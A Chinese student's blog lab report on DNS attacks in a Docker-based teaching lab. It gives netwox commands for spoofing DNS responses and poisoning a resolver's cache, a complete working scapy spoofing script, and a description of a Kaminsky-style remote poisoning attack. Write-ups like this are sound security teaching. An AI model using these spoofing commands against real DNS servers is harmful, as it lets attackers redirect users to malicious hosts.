当前位置:网站首页>计算机网络安全实验二|DNS协议漏洞利用实验
计算机网络安全实验二|DNS协议漏洞利用实验
2022-04-23 09:48:00 【shandianchengzi】
写在最前:
这是我个人的实验记录,实现方式有很多种,多台虚拟机更容易做netwox。
认真整理和记录了一下容易出问题的地方。
现在离截止时期实在太远,把代码啥的全贴出来不好,所以暂时代码仓库锁了。
文章目录
涉及代码的仓库地址
注:暂时锁了。
计算机网络安全实验二
DNS协议漏洞利用实验
docker使用
建立实验环境
普通用户: seed 密码:dees
超级用户:root 密码:seedubuntu
Network(bridge):10.10.10.0/24:
sudo docker network create --subnet=10.10.10.0/24 dnsnetwork
创建dns:
sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash
创建user:
sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash
创建dns:
sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash
我的ip:
Attacker:10.10.10.1
dns:10.10.10.2
user:10.10.10.3
网卡:br-29c63b220f5a
docker常用指令
打开或停止HostM:
sudo docker start/stop HostM
把HostM映射到bash中:
sudo docker exec -it HostM /bin/bash
查看当前docker有哪些:
sudo docker ps -a
关闭防火墙:
sudo iptables -F
主机和容器之间拷贝数据:
sudo docker cp 容器名称:路径 主机路径
sudo docker cp 主机路径 容器名称:路径
一些注意事项
- 每次重启之后,
/etc/resolv.conf
会被改成原来的内容。 - 修改BIND9的配置后,可以运行
sudo rndc flush
测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused
报错时,说明bind9的配置项出错,此时可以找找改了哪里,把错误纠正。
设置本地 DNS 服务器
配置用户计算机
修改user主机的/etc/resolv.conf
文件,将服务器IP添加 为文件中的第一个 nameserver 条目,即此服务器将用作主 DNS 服务器,如下图所示:
完成配置用户计算机之后,使用 dig 命令获取任意网址的 IP 地址,可以看到回应来自于10.10.10.2。 如下图:
即user的配置成功。
设置本地DNS服务器
编辑/etc/bind/named.conf.options
:确认①dump-file "/var/cache/bind/dump.db";
;②dnssec-validation auto被注释,dnssec-enable是no(关闭DNSSEC);③端口号设置好。如下图所示,打开的时候已经配置好了:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UiwUPlFQ-1650553740828)(C:/Users/12524/AppData/Roaming/Typora/typora-user-images/image-20220415193857453.png)]
重启DNS服务器:
sudo service bind9 restart
然后再运行提权指令减少一些报错:
sudo chmod 777 /var/cache/bind/dump.db # 提高缓存文件的权限
sudo chmod 777 /etc/bind/rndc.key # 提高rndc的权限
服务器常用指令:
sudo rndc dumpdb -cache # 将缓存转储到特定文件
sudo rndc flush # 清除DNS缓存
在用户机上运行ping指令测试:
ping www.baidu.com
在Wireshark上查看ping命令触发的DNS查询。
前期发送了大量的DNS查询报文,递归查询。(对应蓝色部分)
当ping通之后,不需要再进行DNS查询,因此直接从缓存中读取IP地址。(对应的是连续的粉红色部分)
在本地 DNS 服务器中建一个区域
-
创建区域:在dns中编辑
/etc/bind/named.conf.default-zones
,添加:zone "example.com" { type master; file "/etc/bind/example.com.db"; }; zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/192.168.0.db"; };
-
把文件从主机中移动到docker中:
sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找区域文件 sudo docker cp example.com.db dns:/etc/bind/ # 反向查找区域文件
-
重新启动BIND服务器:
sudo service bind9 restart
-
用户机运行
dig www.example.com
进行测试授权域配置:观察IP地址,与设置的一样。
-
用户机运行
dig www.baidu.com
进行测试非授权域配置:对于非授权域域名,也能够成功获得相应信息。
实验环境配置完成。
修改主机文件(可略)
修改/etc/hosts文件,添加:
1.2.3.4 www.bank32.com
用dig命令测试结果,发现修改主机文件确实不影响对www.bank32.com文件解析,如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iz6W02hK-1650553740836)(C:/Users/12524/AppData/Roaming/Typora/typora-user-images/image-20220415210143808.png)]
用ping命令测试修改结果,确实影响了,如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIuMYyEa-1650553740837)(C:/Users/12524/AppData/Roaming/Typora/typora-user-images/image-20220415210342182.png)]
用Web浏览器测试结果,这个需要到seed@VM中检验。因此把seed@VM的/etc/hosts也修改一下,测试结果如下。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vxCFIEtV-1650553740838)(C:/Users/12524/AppData/Roaming/Typora/typora-user-images/image-20220415210639635.png)]
如上图所示,解析的DesIP被修改成1.2.3.4。
netwox可参考:DNS攻击 - Wsine - 博客园 (cnblogs.com),基本上就是实验内容。
netwox实施DNS的用户响应欺骗攻击
攻击指令:
sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"
攻击的是user,注意一定要加上–device 网卡,否则filter参数会失效。
运行攻击指令,并在用户机上dig news.youtube.com
触发。
在攻击机上可以看到伪造的响应:
在user上查看回应,与伪造的一致:
观察到得到错误的DNS返回,并且显示为指定的IP地址,也返回了查询网址的权威域名及其IP地址。结果符合预期,攻击成功。
令攻击机停止攻击,再次dig news.youtube.com
,在user上显示:
此时返回的结果与真实结果一致。
说明攻击的确实是DNS的用户响应,不影响DNS服务器的正常请求。
netwox实施DNS的缓存中毒攻击
在攻击机上运行:
sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600
意思是设置DNS响应包域名news.youtube.com对应IP地址为101.102.103.104,权威名称服务器ns.youtube.com对应的IP地址为55.66.77.88。
攻击的是DNS服务器的缓存,ttl生存时间代表缓存留存在DNS服务器上的时间600(秒)。spoofip参数选择raw,否则netwox将对被欺骗的IP地址也进行MAC地址欺骗,因为ARP查询响应的等待时间问题,实验有可能失败。
实际上,就算加了参数,在docker上做实验,但是在三台虚拟主机上做实验就必成功(亲测),还是有很大的可能失败。
以下是难得成功的一次截图。
-
首先清空DNS缓存:
sudo rndc flush
-
为了提高攻击的成功率,添加对外访问的时延如下(其实就是DNS服务器对外访问慢一点,保证它优先收到攻击机的回应):
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
-
运行攻击命令,用
dig news.youtube.com
触发:观察到,攻击机成功嗅探到DNS服务器向上发出的DNS请求包,并伪造上层DNS服务器向其发送回复报文。
在user上dig指令的结果:
观察到IP地址、权威域名服务器地址被修改成期望的地址。
同时用Wireshark抓包,得到如下结果:
观察到,攻击机比真实DNS服务器提前一步发送DNS响应,从而导致DNS缓存中毒。
转储并查看DNS服务器缓存,如下:
sudo rndc dumpdb -cache sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"
-
停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:
可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。
DNS缓存中毒成功。
scapy实施DNS缓存中毒攻击
针对授权域Authority Section和附加域Additional Section的攻击脚本:
该脚本既将授权域改成了attacker32.com,也将附加域修改了。
from scapy.all import *
def spoof_dns(pkt):
#pkt.show()
if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')
# The Authority Section
NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')
# The Additional Section
Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)
-
运行攻击脚本,在user上使用
dig www.example.net
命令激发DNS查询,攻击脚本运行如下图: -
user上返回结果如下图:
与攻击脚本一致,授权域和附加域都被修改了。
-
同时查看Wireshark的抓包结果,观察到发送的伪造报文:
-
转储并查看DNS服务器缓存,结果如下:
观察到,没有attacker32.cn的缓存记录,这是因为attacker32.cn没有出现在授权域中。
-
停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:
可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。
DNS缓存中毒成功。
-
此时使用
dig mail.example.net
命令进行查询,根据Wireshark抓包结果得知,当再次进行相同域的DNS查询时,会首先对在缓存中的NS条目指定的域名服务器进行查询,如下图:因此,对附加域的攻击也是成功的。
远程 DNS 缓存中毒攻击
实验环境配置
-
在dns中编辑
/etc/bind/named.conf.default-zones
,注释掉之前配置的example.com区域。并添加假域名去展示实验效果:zone "ns.ssd.net" { type master; file "/etc/bind/ssd.net.db"; };
-
在dns中添加文件
/etc/bind/ssd.net.db
,并将以下内容放入其中:$TTL 604800 @ IN SOA localhost. root.localhost. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL @ IN NS ns.ssd.net. @ IN A 10.10.10.1 ns IN A 10.10.10.1 * IN A 10.10.10.1
其中
ns.ssd.net
修改成自己的假域名,10.10.10.1
修改成攻击机的IP。
在用户机上运行ping ns.ssd.net
测试是否配置成功:
如图,已经配置成功了。
-
在攻击机中配置DNS服务器,去回答example.com的查询。在攻击机中编辑
/etc/bind/named.conf
添加以下内容:zone "example.com" { type master; file "/etc/bind/example.com.zone"; };
然后创建文件
/etc/bind/example.com.zone
,添加以下内容:$TTL 3D @ IN SOA ns.example.com. admin.example.com ( 2008111001 8H 2H 4W 1D ) @ IN NS ns.ssd.net. @ IN A 1.1.1.1 www IN A 1.1.1.2 ns IN A 10.10.10.168 * IN A 10.10.10.17
注意:在配置完攻击机和服务机之后,可以运行
sudo rndc flush
测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused
报错时,说明bind9的配置项出错,此时可以找找改了哪里,把错误纠正。等到攻击成功后,www.example.com对应的是
1.1.1.2
。 -
将之前实验添加的网络时延规则删除:
sudo tc qdisc del dev br-29c63b220f5a root
-
其他配置不变。刷新缓存,重启dns和攻击机上的DNS服务器:
sudo rndc flush sudo service bind9 restart
在user上多次运行
dig www.example.com
,直到得到结果:如果能得到结果,说明环境配置成功。
观察返回的信息,可以知道www.example.com的远程请求过程:①user向dns发起询问,DNS服务器依次查询;②先查到根域名服务器的地址;③再通过根域名服务器得到.com顶级域名服务器的地址;④再通过.com顶级域名服务器查询得到example.com权威域名服务器的地址;⑤通过询问example.com权威域名服务器,得到www.example.com的IP地址为93.184.216.34。
攻击原理
当dns中已经有example.com的缓存信息时,它不再从根域名服务器查起,而是直接询问example.com。攻击机可以想Apollo发送伪造的响应,比真正的example.com先一步到达dns即可。
但是由于dns缓存有较长时间,攻击机想要等待服务器主动发起对指定域名的DNS请求需要时间。Dan Kaminsky提出了一种攻击方法去避免这个问题,该方法的步骤是:
①攻击者查询example.com随机的不存在的名称;
②dns服务器缓存中没有这一域名,因此向example.com发起请求;
③攻击机针对请求发送DNS欺骗流,不仅为该域名提供Answer,还将ns.姓名.net作为example.com域的权威域名服务器,从而破坏缓存。
攻击过程
为了提高攻击成功率,再次添加时延:
sudo tc qdisc add dev br-29c63b220f5a root netem delay 2s
两个攻击脚本:
伪造请求包和响应包的python程序general_dns.py:
代码暂时保密~大家自己写一下,确实很有收获
其中响应包的id要随机生成,发送从0~ffff号的所有报文来进行DNS欺骗。
用bless查看构造的reply.bin的二进制,找到id的偏移地址:
偏移量为0x1c,十进制为28。
攻击程序dns_attack.c的编写逻辑:
- 每轮循环开始,先运行一次伪造请求包和响应包的python程序;
- 打开
query.bin
和reply.bin
,写入缓存区。 - 发送DNS请求包;
- 修改
reply.bin
的dns序列号,从1000~65535(观察了一下,发包速度相当快,可以支持多发一些包),转换成大端字节序再写入(也可以不转)。并重新计算dns的chksum。 - 依次发送这些DNS响应包。再回到1重新循环。
发包的C程序dns_attack.c:
代码暂时保密~大家自己写一下,确实很有收获
编译程序的方式:
gcc -lpcap dns_attack.c -o dns_attack
-
编译并运行发包攻击程序,过一会儿在dns上转储cache,运行:
sudo rndc dumpdb -cache sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"
可以看到example.com现在对应的是ns.ssd.net,其他的被注释掉了,IP也解析成攻击目标了,相当成功。
再观察一下Wireshark的报文:
能看到伪造的随机请求包,也可以看到服务器收到伪造的请求包,开始主动向权威域名服务器请求,还可以看到伪造的序号顺序的响应。
只要序号符合0xe0fa,并且比真实服务器早,就可以攻击成功。
过滤
10.10.10.1
的报文,除了这些报文以及服务器的主动请求之外,其他的报文就是攻击机伪造的请求。可以看到攻击成功的可能性很大。注意:已经攻击完成后,一定要及时中止
dns_attack
程序。我在已经集齐所有完美的实验现象之后,忘记中止攻击程序,然后发送了过多的攻击报文,我自己的sock崩溃了。随后虚拟机内存不够,自动关机重启,还好我有快照,否则我也会崩溃了。 -
此时在用户机上运行
dig www.example.com
、dig abcd.example.com
去测试:可以看到,域名成功地被解析成预期值
1.1.1.2
了!然后随便攻击一个example.com域的域名,也可以成功解析成预期值:
因此攻击成功。
心得体会
略。
版权声明
本文为[shandianchengzi]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_46106285/article/details/124334364
边栏推荐
- Operation not allowed for a result set of type resultset TYPE_ FORWARD_ ONLY. Explain in detail
- MySQL of database -- overview and installation
- Yyds dry goods inventory ubuntu18 0.4 install MySQL and solve error 1698: access denied for user ''root' '@' 'localhost' '
- 云身份过于宽松,为攻击者打开了大门
- Using JS to realize a thousandth bit
- Kettle experiment conversion case
- Planning and construction of industrial meta universe platform
- Kettle experiment
- [2020wc Day2] F. Clarice picking mushrooms (subtree and query, light and heavy son thought)
- JS node operation, why learn node operation
猜你喜欢
《数字电子技术基础》3.1 门电路概述、3.2 半导体二极管门电路
Three challenges that a successful Devops leader should be aware of
Pre parsing of JS
JSON input of Chapter 14 of kettle paoding jieniu
Nvidia最新三维重建技术Instant-ngp初探
PHP notes (I): development environment configuration
kernel-pwn学习(4)--Double Fetch&&0CTF2018-baby
Installation of data cleaning ETL tool kettle
[reading notes] Chapter 5 conditional statements, circular statements and block statements of Verilog digital system design tutorial (with answers to thinking questions)
Enter "net start MySQL" and "system error 5. Access denied" appears. Detailed explanation of the problem
随机推荐
[CF 1425d] danger of mad snakes
Kettle experiment (III)
Amazon cloud technology entry Resource Center, easy access to the cloud from 0 to 1
Pre parsing of JS
Planning and construction of industrial meta universe platform
防疫登记小程序
Codeforces Round #784 (Div. 4)
Using sqlmap injection to obtain the account and password of the website administrator
Go language learning notes - exception handling | go language from scratch
kernel-pwn学习(3)--ret2user&&kernel ROP&&QWB2018-core
Nvidia最新三维重建技术Instant-ngp初探
Epidemic prevention registration applet
论文阅读《Integrity Monitoring Techniques for Vision Navigation Systems》——3背景
Secrets in buffctf file 1
Es aggregation aggregation analysis
Kettle experiment
A concise course of fast Fourier transform FFT
代码源每日一题 div1 (701-707)
(Extended) bsgs and higher order congruence equation
成功的DevOps Leader 应该清楚的3个挑战